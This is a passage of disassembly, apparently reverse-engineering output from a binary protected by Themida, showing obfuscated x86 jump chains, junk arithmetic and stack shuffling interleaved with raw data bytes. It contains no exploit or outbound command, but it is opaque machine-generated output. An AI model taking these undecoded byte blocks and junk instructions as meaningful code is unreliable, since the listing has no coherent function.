		add	esp, 4
		jmp	loc_55249F
; ---------------------------------------------------------------------------


loc_55FB6C:				; CODE XREF: Themida_:0055B0A6j
		or	esi, ebx
		pop	ebx
		jmp	loc_5587F4
; ---------------------------------------------------------------------------
		dd 348BF389h, 4C48324h,	55FDC181h, 0E98115BAh, 38A36426h
		dd 15E9D901h, 52FFFF55h, 0B03CA6BAh, 8E2C13Dh, 3BF28142h
		dd 531F6576h, 193B17BBh, 0E080E970h, 2C89FFFFh,	0E9CD8924h
		dd 1028h
; ---------------------------------------------------------------------------


loc_55FBB4:				; CODE XREF: Themida_:00556C23j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55D667
; ---------------------------------------------------------------------------
		dd 66C0B60Fh, 5324148Bh, 0BBDBE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FBD6:				; CODE XREF: Themida_:0055B918j
		mov	ebp, 4
		mov	ecx, ebp
		jmp	loc_560774
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 56000000h, 5EB26852h, 4A5A7EB0h, 89C28142h, 0E94A631Dh
		dd 0FFFF51ADh, 4C6815Eh, 55000000h, 4BDh, 5DEE0100h, 5C243487h
		dd 0FF2421E9h, 0ECC681FFh, 810B1A11h, 8725E4C6h, 14EFE907h
		dd 815D0000h, 574F02C3h, 40EB8116h, 1352074h, 251E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FC3A:				; CODE XREF: Themida_:0055A929j
		shl	eax, 6
		sub	eax, 5DDE30CBh
		add	eax, 0B0C7EA4Bh
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	ecx, eax
		pop	eax
		shr	ecx, 0Bh
		push	5D72h


loc_55FC68:				; DATA XREF: Themida_:00551D5Bo
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	3FECh
		mov	[esp], ebp
		push	edx
		mov	edx, esp
		jmp	loc_5571C9
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0EC81D830h, 4, 0FF1F32E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FC8D:				; CODE XREF: Themida_:00561973j
		push	13B4h
		mov	[esp], eax
		mov	eax, 41465ECEh
		neg	eax
		jmp	loc_559074
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 33241C31h, 3FE9241Ch, 68FFFFCDh, 2AE15CF9h, 0FF8B17E9h
		dd 54F468FFh, 815D0D42h, 0F77CE7F5h, 7EED816Dh,	29F8F40Fh
		dd 685B5DE8h, 16C2h, 55243C89h,	7685B951h, 814153C6h, 0D2253DC1h
		dd 6C3AE90Bh, 34FFFFFFh, 240C8B24h, 4C481h, 81570000h
		dd 4ECh, 24248900h, 4240481h, 5F000000h, 4BB53h, 0DF010000h
		dd 0F891E95Bh, 0C380FFFFh, 5EBC0FFh, 45E95166h,	4FFFFC7h
		dd 2CD828EEh, 1A3FE9EEh, 840F0000h, 0FFFFB4CBh,	1FD2E951h
		dd 54510000h, 2CBE5659h, 8124BC05h, 176FA0CEh, 0F7D6F75Fh
		dd 0DBB1E9D6h, 99BDFFFFh, 57011202h, 5A4326BFh,	2D39E947h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FD62:				; CODE XREF: Themida_:00560EB4j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54E6D4
; ---------------------------------------------------------------------------
		db 0FFh
		dd 815D2434h, 4C4h, 5DEA0100h, 2474FF52h, 0C9D4E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FD8E:				; CODE XREF: Themida_:005529A1j
		add	eax, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_550866
; ---------------------------------------------------------------------------


loc_55FD9B:				; CODE XREF: Themida_:0055B259j
		add	edx, 4
		jmp	loc_55E8B3
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 2FF718Dh, 0FF16ABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FDB1:				; CODE XREF: Themida_:0055D25Ej
		mov	[esp], ebx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_554E5C
; ---------------------------------------------------------------------------
		dw 0FEE9h
		db 0DFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_55FDC7:				; CODE XREF: Themida_:00556787j
		pop	edx
		push	esi
		mov	esi, 5825342Fh
		not	esi
		or	esi, 6C5F183Ch
		push	ecx
		jmp	loc_54F4B6
; ---------------------------------------------------------------------------


loc_55FDDC:				; CODE XREF: Themida_:005508E9j
		add	edx, 1FFB4106h
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5516DF
; ---------------------------------------------------------------------------
		dw 158h
		dd 59C281F2h, 5E34165Eh, 0E904EC83h, 298Ch
; ---------------------------------------------------------------------------


loc_55FE0C:				; CODE XREF: Themida_:0055B54Fj
		add	edi, 426D50ECh
		push	ebp
		mov	ebp, edi
		mov	ebx, ebp
		jmp	loc_556B9C
; ---------------------------------------------------------------------------
		dd 12E9E789h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55FE23:				; CODE XREF: Themida_:0055D715j
		shl	ecx, 5
		and	ecx, 161B1E03h
		shl	ecx, 5
		push	edx
		jmp	loc_55FAE5
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 762768h, 24048900h, 0E688CC88h, 0F4885058h, 0FF58E388h
		dd 815A2434h, 4C4h, 59D8E900h, 8157FFFFh, 4ECh,	24148900h
		dd 0FF1072E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FE69:				; CODE XREF: Themida_:00558708j
		sub	[esp+8], edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	[esp+4], ebx
		add	dword ptr [esp+4], 778979E0h
		jmp	loc_55B63C
; ---------------------------------------------------------------------------
		dd 24048B66h, 0FF9CADE9h, 4BF581FFh, 812E043Eh,	0FF2A7BEAh
		dd 0E9EA2916h, 0FFFF9691h, 4BDA6853h, 0C15B7EF8h, 0F38105EBh
		dd 3F7C25Ch, 67E9DD89h,	0FFFFFFD9h, 0E9592434h,	0FFFF3D14h
		dd 68D830ACh, 940h, 0E9241C89h,	13D6h, 8F24248Bh, 0DE92404h
		db 44h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FEDF:				; CODE XREF: Themida_:0055098Cj
		push	dword ptr [esp]
		pop	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_562132
; ---------------------------------------------------------------------------
		dw 0DFBAh
		dd 573E0362h, 945D7FBFh, 0D3F78178h, 0E94C0D0Ah, 0FFFF48DBh
		dd 58E288h, 148B66D0h, 2C48124h, 53000000h, 0F8002CB7h
		dd 20BDE95Bh, 9BEFFFFh,	461CD116h, 1606EE81h, 0E4E91CD1h
		dd 0FFFFFF76h, 0CBE92434h
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FF57:				; CODE XREF: Themida_:00551818j
		mov	ebx, 13F63ED2h
		jmp	loc_557E1B
; ---------------------------------------------------------------------------


loc_55FF61:				; CODE XREF: Themida_:0056133Fj
		sub	eax, 3B920674h
		mov	edi, [esp]
		add	esp, 4
		push	6131h
		mov	[esp], eax
		jmp	loc_552EB5
; ---------------------------------------------------------------------------
		dd 0C3815B54h, 4, 0FFCCEDE9h, 240C87FFh, 6624248Bh, 9C240421h
		dd 0FEDE2CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FF99:				; CODE XREF: Themida_:0055141Fj
		mov	[esp], ebx
		push	esi
		jmp	loc_551304
; ---------------------------------------------------------------------------
		dw 2F68h
		dd 89000011h, 0CFE92404h, 0B0000010h, 2CB5515Ch, 0FF1E95E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FFB9:				; CODE XREF: Themida_:00556358j
		push	28175F7Bh
		pop	eax
		shr	eax, 6
		add	eax, 0FF5FA287h
		mov	esi, eax
		pop	eax
		add	edi, esi
		pop	esi
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_55CA69
; ---------------------------------------------------------------------------


loc_55FFDB:				; CODE XREF: Themida_:0054ED4Ej
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	0D08h
		mov	[esp], eax
		jmp	loc_54DDC5
; ---------------------------------------------------------------------------
		db 51h
		dd 0D9F626B1h, 0D02FE180h, 4EC83E9h, 0B4240489h, 0EF48079h
		dd 0E3B353h, 241C8BDCh,	4C481h,	0E1280000h, 6EC78058h
		dd 2807E9h, 2434FF00h, 8124048Bh, 4C4h,	4C48300h, 4EC81h
		dd 34890000h, 815E5424h, 4ECh, 0E6F9E900h, 685CFFFEh, 11A2h
		dd 56240C89h, 200EBD68h, 0E6C15E71h, 24C68105h,	523DCC71h
		dd 0D189F289h, 0BE565E5Ah, 72808981h, 0FF078FE9h, 240489FFh
		dd 2434FF54h, 4C48358h,	4BE56h,	90E90000h, 8BFFFF0Ch, 14892424h
		dd 0E99C5024h, 0FFFEDD29h
; ---------------------------------------------------------------------------


loc_56009C:				; CODE XREF: Themida_:00551DB9j
		mov	eax, 6E590FCCh
		push	6EB1h
		mov	[esp], eax
		pop	edx
		jmp	loc_55841F
; ---------------------------------------------------------------------------
		db 68h
		dd 4A7D2380h, 0E9F3815Bh, 43072C56h, 0B10E9h, 58C20100h
		dd 7D3BEA81h, 0EC812CC2h, 4, 0FF52CDE9h, 243C31FFh, 5C243C33h
		dd 0EC815352h, 4, 22F2E9h, 24348900h, 4B951h, 0CE890000h
		dd 83240C8Bh, 0E0E904C4h, 66FFFF45h, 5A66D701h,	5FFA8966h
		dd 66D02966h, 5A05665Ah, 0A273E927h, 0E958FFFFh, 321h
		dd 0DC70FF05h, 2434FF43h, 4C4835Ah, 8904EC83h, 2BB241Ch
		dd 1000000h, 4335BD8h, 24043124h, 0E9240433h, 0FFFF26EFh
		dd 0E9240489h, 0FFFF3299h, 8104EFC1h, 0FFFFFFEFh, 0C8EF81FFh
		dd 99FB03Bh, 0AE97E9FBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560162:				; CODE XREF: Themida_:005527CAj
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		xor	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ecx, 4620257Eh
		jmp	loc_560A9D
; ---------------------------------------------------------------------------
		db 0E9h, 43h, 0DCh
		dd 515CFFFEh, 6CE9E189h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56018B:				; CODE XREF: Themida_:00552E42j
		add	ebx, eax
		pop	eax
		push	edi
		mov	edi, 4
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_555470
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 2637BD55h, 6C81108Ch, 4260424h, 0DAE92573h, 81FFFF80h
		dd 4C2h, 24148700h, 0B652665Ch,	52506678h, 5266D0B6h, 12454F6h
		dd 1F8BE9h, 24148900h, 8809B353h, 0D6E8E9DAh, 0E95DFFFFh
		dd 0FFFEF8F3h, 0DF0E33B9h, 20D2E970h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5601F2:				; CODE XREF: Themida_:005539FDj
		pop	eax
		sub	edx, 79CC6AAFh
		sub	edx, eax
		add	edx, 79CC6AAFh
		jmp	loc_555C12
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0BE565724h, 31B13A4Ah, 2115BEBFh, 5EF70128h,	24348157h
		dd 71C1760Eh, 8124348Bh, 4C4h, 0EF85E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56022E:				; CODE XREF: Themida_:0054EADAj
		shl	ecx, 5
		add	ecx, 5F291696h
		push	2702h
		mov	[esp], ebp
		mov	ebp, 1E0B5BEDh
		add	ecx, ebp
		pop	ebp
		mov	ebx, ecx
		jmp	loc_558D71
; ---------------------------------------------------------------------------


loc_56024E:				; CODE XREF: Themida_:0055A1F6j
		mov	ebp, 27970967h
		mov	esi, ebp
		pop	ebp
		push	eax
		mov	eax, 43B66794h
		jmp	loc_55A8CD
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 750EE95Ch, 489FFFFh,	46824h,	9EE90000h, 66FFFF16h, 5724048Bh
		dd 0C781E789h, 4, 4EF81h, 3C870000h, 14895C24h,	68E28924h
		dd 0F07h, 83240C89h, 3C8904ECh,	417D6824h, 3C8B4445h, 4C48324h
		dd 81E7D14Fh, 8A82FCF7h, 0E9F98988h, 0FFFF4790h, 31E9F801h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5602C3:				; CODE XREF: Themida_:0055589Ej
		push	eax
		dec	dword ptr [esp]
		pop	eax
		xor	eax, 250109Bh
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		xchg	eax, edx
		push	0B40h
		mov	[esp], edx
		mov	edx, 1
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_560DFC
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 0E7A61CDh, 0FF8D9FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560301:				; CODE XREF: Themida_:0054F4C4j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 8312901h
		and	esi, ecx
		pop	ecx
		and	esi, 6C6F2684h
		not	esi
		xor	esi, 0A1D2F262h
		sub	edx, 5F016DE1h
		add	edx, esi
		jmp	loc_55BC35
; ---------------------------------------------------------------------------
		db 81h
		dd 0D2B5DF6h, 81DEF75Eh, 24006EF6h, 0E9F201A6h,	159Ah
		dd 24048B66h, 5B3568h, 34BE900h, 0C4810000h, 4,	8904EC83h
		dd 0C3B82404h, 814BC22Fh, 87E26C5h, 0BEED8141h,	295BFC27h
		dd 44E7E9C5h, 31ADFFFFh, 4EC83D8h, 0BA241489h, 4DD46B42h
		dd 0E901C283h, 0FFFFBFB2h
; ---------------------------------------------------------------------------


loc_560388:				; CODE XREF: Themida_:0055569Aj
		inc	edi
		push	0
		jmp	loc_560CAE
; ---------------------------------------------------------------------------
		db 83h
		dd 0ADE904C4h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56039B:				; CODE XREF: Themida_:0056147Cj
		xor	ebx, edi
		pop	edi
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	ecx, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55C23F
; ---------------------------------------------------------------------------
		dd offset dword_525048+220h
		dd 243C8900h, 42474FFh,	24048F5Fh, 0FFB935E9h, 243C33FFh
		dd 33243C31h, 0ACE9243Ch, 66000021h, 6659CD68h,	51240489h
		dd 0CC885AB1h, 6BEF8059h, 0C780E700h, 61E9E96Bh, 0F281FFFFh
		dd 1E637DBh, 4E92C281h,	0D3010B64h, 7EBC15Ah, 0FFE133E9h
		dd 241C89FFh, 623D7868h, 0EBC15B00h, 0A5F38107h, 15C5DFEh
		dd 241C8BD8h, 6804C483h, 97Dh, 0BD242C89h, 1DFA227Ah, 0EC83E5D1h
		dd 240C8904h, 0FF4386E9h, 77C381FFh, 167CE49h, 77EB81CBh
		dd 0E967CE49h, 0FFFFDA76h
; ---------------------------------------------------------------------------


loc_560450:				; CODE XREF: Themida_:0055841Aj
		add	ebp, 3313981Ch
		jmp	loc_55F3F3
; ---------------------------------------------------------------------------


loc_56045B:				; CODE XREF: Themida_:0055B749j
		add	esp, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 6C586992h
		add	ebp, 1
		xor	ebp, eax
		xor	eax, ebp
		xor	ebp, eax
		push	eax
		jmp	loc_561C29
; ---------------------------------------------------------------------------
		db 55h
		dd 3181B850h, 91E96EBEh
		db 20h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560493:				; CODE XREF: Themida_:0055E5C4j
		add	eax, 4
		jmp	loc_55B938
; ---------------------------------------------------------------------------
		db 68h,	5Ah, 14h
		dd 0C890000h, 243C3124h, 31243C33h, 0DFE9243Ch
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5604B3:				; CODE XREF: Themida_:0054F3C0j
		pop	ebx
		sub	esp, 2
		jmp	loc_5563E1
; ---------------------------------------------------------------------------


loc_5604BF:				; CODE XREF: Themida_:0054DF16j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_555CB0
; ---------------------------------------------------------------------------
		dd 8022C380h, 0D828CCC3h, 81241C8Bh, 4C4h, 0E9F82800h
		dd 0FFFF1AA3h, 6824248Bh, 7086h, 89243489h, 4C681E6h, 81000000h
		dd 4C6h, 24348700h, 0E924248Bh,	0FFFED8C1h, 24148B66h
		dd 5E08950h, 4,	632068h, 241C8900h, 2BBh, 7162E900h, 0F65BFFFFh
		dd 0CE13E9DAh, 895CFFFFh, 0D2BB241Ch, 0E96A337Ch, 0FFFFED33h
		dd 96EBE95Ah, 0F381FFFFh, 8058C939h, 815BDF29h,	0EC03A2EFh
		dd 0C1E95162h, 0FFFFFF7Bh, 1CE92434h, 5CFFFF88h, 0FEE4C6E9h
		dd 240C87FFh, 2434895Ch, 0FF7C28E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56056D:				; CODE XREF: Themida_:00555884j
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_54DFBE
; ---------------------------------------------------------------------------
		dd 0D687F229h, 8324148Bh, 0E95504C4h, 0FFFFF06Eh, 4C481h
		dd 0F4680000h, 89000078h, 5E542434h, 4C681h, 0EC810000h
		dd 4, 0FF424EE9h, 4C481FFh, 0E9000000h,	0FFFF4348h, 353D68h
		dd 242C8900h, 0B850E589h, 60FF05BBh, 5706E8C1h,	131AD0BFh
		dd 5FF80122h, 2404FF50h, 0EC815658h, 4,	0BD242C89h, 5C6D6C9Dh
		dd 398EED81h, 6BE91CABh, 0C0FFFEF8h, 0C38003E3h, 72E930h
		dd 5457FFFFh, 81243C8Bh, 4C4h, 50565500h, 4B8h,	0E9C68900h
		dd 1917h, 35BEB850h, 0C3295C39h, 0A1CCE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560622:				; CODE XREF: Themida_:0054EDC1j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_559E70
; ---------------------------------------------------------------------------
		db 58h,	81h, 0C4h
		dd 4, 0FFD035E9h, 0E9D088FFh, 0FFFF0B15h, 148BD301h, 4C48324h
		dd 76E9C231h, 0FFFFFED7h, 48B2434h, 0D7B0E924h,	0BD55FFFFh
		dd 22561567h, 0D3F7DD87h, 0E5C1DD87h, 6EDC104h,	0F0C8C581h
		dd 0C68163DDh, 6270558h, 0EE81EE29h, 6270558h, 50FEE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560686:				; CODE XREF: Themida_:0055AB67j
		add	edi, 51766950h
		sub	edi, eax
		sub	edi, 51766950h
		jmp	loc_553DDC
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0EC83E189h, 242C8904h, 1F1DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5606A9:				; CODE XREF: Themida_:00561E09j
		mov	ebx, 36BFF7ADh
		sub	ebx, 19F92B8Bh
		add	ebx, ecx
		add	ebx, 19F92B8Bh
		mov	ecx, [esp]
		push	7DBCh
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	eax
		jmp	loc_55257F
; ---------------------------------------------------------------------------
		db 51h
		dd 0C1815954h, 4, 8C685752h, 5F5D372Dh,	0FF5AF1E9h, 242C8BFFh
		dd 6D57E951h, 0CA89FFFFh, 78BD5559h, 0E9057453h, 0FFFEFB42h
; ---------------------------------------------------------------------------


loc_5606FC:				; CODE XREF: Themida_:0054E932j
		push	ecx
		push	ebp
		add	dword ptr [esp], 23F014EEh
		pop	ecx
		sub	ecx, 23F014EEh
		jmp	loc_5500E3
; ---------------------------------------------------------------------------
		dd offset dword_516448+720h
		align 2
		dw 3489h
		dd 4EC8324h, 81242489h,	42404h,	348B0000h, 4C48124h, 81000000h
		dd 4C6h, 0BCBA5200h, 8165C976h,	0C976B8EAh, 0E9D60165h
		dd 0FFFFD9D5h, 81E38953h, 4C3h,	4EB8100h, 0E9000000h, 0FFFF94F8h
		dd 7CF281h, 0BF571BACh,	78007F04h, 0FF6669E9h, 0E9F9F6FFh
		dd 0FFFF3D81h
; ---------------------------------------------------------------------------


loc_560774:				; CODE XREF: Themida_:0055FBDDj
		pop	ebp
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_554187
; ---------------------------------------------------------------------------
		db 1
		dd 53EE81FEh, 81269717h, 0AB2FF0C6h, 243C8B3Dh,	0E904C483h
		dd 0FFFFD225h, 5573E951h, 0C483FFFFh, 29E06804h, 2C890000h
		dd 5AD9BD24h, 0EA291999h, 0E9242C8Bh, 0FFFFC521h, 4BEh
		dd 8BF72900h, 0C4812434h, 4, 0E9243C87h, 0FFFFE601h, 4E9835Eh
		dd 5C240C87h, 53242489h, 4BBh, 7D7FE900h, 77FFFFFFh, 0D5CBE92Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5607FA:				; CODE XREF: Themida_:00554F59j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_56091A
; ---------------------------------------------------------------------------


loc_560808:				; CODE XREF: Themida_:00557C1Ej
		sub	ebx, 79095BFAh
		add	ebx, esi
		add	ebx, 79095BFAh
		jmp	loc_556021
; ---------------------------------------------------------------------------
		db 48h
		dd 0FFC2C3E9h, 4BEFFh, 0ED810000h, 57832A00h, 0FF9705E9h
		dd 2407BEFFh, 0C6815F23h, 7FEF2759h, 7503B951h,	0D9F72F4Fh
		dd 18FFC981h, 0C1810997h, 3C269CB6h, 4659CE21h,	0FEDFFBE9h
		dd 28E981FFh, 17A1A48h,	14BA52D1h, 0F77F6233h, 0CCC281DAh
		dd 0C1271848h, 0EA8108EAh, 868D6DEDh, 0EDE9D101h, 5FFFFEFEh
		dd 0FF1EAEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560885:				; CODE XREF: Themida_:0055F9FCj
		mov	[esp], esp
		push	5D70h
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_557BA8
; ---------------------------------------------------------------------------
		dw 2D66h
		dd 1662000h, 14E958C3h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5608A7:				; CODE XREF: Themida_:0054E6AFj
		dec	eax
		sub	eax, 429D1C25h
		xor	eax, 0BB9123D1h
		jmp	loc_553F92
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0F368240Ch, 89000009h, 87E9241Ch
		db 19h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5608C7:				; CODE XREF: Themida_:0054EF66j
		mov	[esp], ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		mov	ebp, [esp]
		jmp	loc_553EAA
; ---------------------------------------------------------------------------


loc_5608DC:				; CODE XREF: Themida_:005587AEj
		push	eax
		jmp	loc_54DE1A
; ---------------------------------------------------------------------------


loc_5608E2:				; CODE XREF: Themida_:0055FAC3j
		push	eax
		mov	eax, 23947800h
		mov	ebp, eax
		pop	eax
		jmp	loc_55047C
; ---------------------------------------------------------------------------
		dd 0CEFEC6FEh, 0EEC0D6F6h, 4EE8007h, 57E9F000h,	0E9000002h
		dd 0FFFED4BDh, 4BE565Eh, 81000000h, 26595DEDh, 2CA1E915h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56091A:				; CODE XREF: Themida_:00560803j
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	esi, [esp]
		sub	esp, 4
		jmp	loc_552DF3
; ---------------------------------------------------------------------------


loc_560932:				; CODE XREF: Themida_:005559F0j
		xor	ebp, 48CC5661h
		jmp	loc_562192
; ---------------------------------------------------------------------------
		db 1, 0C2h, 58h
		dd 0FFD0A6E9h, 242C87FFh, 2404285Ch, 0D473E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_560952:				; CODE XREF: Themida_:005542E1j
		push	ecx
		push	4
		jmp	loc_552BDB
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 83000000h, 66E904EFh
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56096B:				; CODE XREF: Themida_:005623B5j
		mov	edi, 10h
		and	ebx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	52EBh
		mov	[esp], ebx
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55D012
; ---------------------------------------------------------------------------


loc_560996:				; CODE XREF: Themida_:00557664j
		add	esi, 0A0BA1E73h
		add	eax, esi
		pop	esi
		jmp	loc_558872
; ---------------------------------------------------------------------------
		dd 5C240487h, 0FEFA35E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5609AD:				; CODE XREF: Themida_:0055E293j
		add	ebx, esi
		jmp	loc_5502D2
; ---------------------------------------------------------------------------
		dd 82E9CA01h
		db 0F6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5609BB:				; CODE XREF: Themida_:005514C4j
		inc	ah
		push	ebx
		mov	bh, 9Bh
		sub	ah, bh
		mov	ebx, [esp]
		add	esp, 4
		mov	dh, ah
		jmp	loc_552FB4
; ---------------------------------------------------------------------------
		db 0BDh
		dd 3EF2FA4h, 8904EC83h,	0B5B9240Ch, 2915C34Ch, 860559C8h
		dd 0E976BC1Bh, 0FFFF0F55h
; ---------------------------------------------------------------------------


loc_5609EC:				; CODE XREF: Themida_:005565CCj
		add	dword ptr [esp], 25F2BC8h
		pop	edi
		sub	edi, 25F2BC8h
		mov	edx, [esp]
		add	esp, 4
		add	dword ptr [esp+4], 11070242h
		add	[esp+4], edi
		sub	dword ptr [esp+4], 11070242h
		pop	edi
		jmp	loc_55240D
; ---------------------------------------------------------------------------


loc_560A1A:				; CODE XREF: Themida_:00558617j
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_550E50
; ---------------------------------------------------------------------------
		dw 66B9h
		dd 495B8F66h, 0C1C18141h, 812A091Eh, 365F8DF1h,	80E9537Ah
		dd 66FFFFEBh, 5866C209h, 93C28166h, 0E2C16655h,	0FB8BE908h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_560A56:				; CODE XREF: Themida_:0055F2DBj
		pop	ecx
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_55F78B
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0CABF5704h, 0E94C7835h, 0FFFEDD6Fh, 2CB368h,	242C8900h
		dd 4EC81h, 0EC810000h, 4, 24048F54h, 0FF7631E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560A9D:				; CODE XREF: Themida_:00560178j
		push	5191h
		mov	[esp], esi
		push	ebx
		mov	ebx, 1D9C6E58h
		xor	ebx, 17C40997h
		xor	ebx, 60883AEEh
		shr	ebx, 4
		sub	ebx, 65711767h
		jmp	loc_55BA22
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 8904EC83h, 4812424h,	424h, 9C92E900h, 0E955FFFFh, 0FFFF87DBh
; ---------------------------------------------------------------------------


loc_560AE0:				; CODE XREF: Themida_:0055A3EAj
		push	3955h
		mov	[esp], ecx
		mov	ecx, 745D795Ah
		add	ecx, 0ACEE038h
		shl	ecx, 8
		not	ecx
		jmp	loc_55F912
; ---------------------------------------------------------------------------
		db 5Bh,	89h, 0FAh
		dd 0FF4E9DE9h, 148966FFh, 9C506624h, 0FED2B4E9h, 8BDA01FFh
		dd 0C481241Ch, 4, 6803EAC1h, 1E24h, 0B8240489h,	0FFFFFFFFh
		dd 1484EA81h, 68E97594h, 0D1FFFF0Ch, 4A91E9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560B3E:				; CODE XREF: Themida_:0055E968j
		push	ebx
		mov	ebx, 3A936C9h
		push	edx
		mov	edx, 380462BBh
		jmp	loc_5580B1
; ---------------------------------------------------------------------------


loc_560B4F:				; CODE XREF: Themida_:0055DF78j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55B541
; ---------------------------------------------------------------------------
		dw 8B5Ah
		dd 6CE9241Ch
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560B63:				; CODE XREF: Themida_:0055A767j
		mov	ebx, 999439Dh
		jmp	loc_55DDC9
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 68000000h, 78A8h, 0BB241C89h, 4, 335BDF29h, 3C31243Ch
		dd 243C3324h, 80AE9h, 0EC835D00h, 24348904h, 7D168h, 24048900h
		dd 0FFAD61E9h, 0C8B66FFh, 0E0895024h, 405h, 4BD5500h, 29000000h
		dd 36E95DE8h, 53FFFF2Dh, 0D3E8E954h, 0EC81FFFEh, 4, 0FF334EE9h
		dd 9AC381FFh, 0E9B2AE8Ah, 0FFFF5BF3h, 2B826852h, 2C890000h
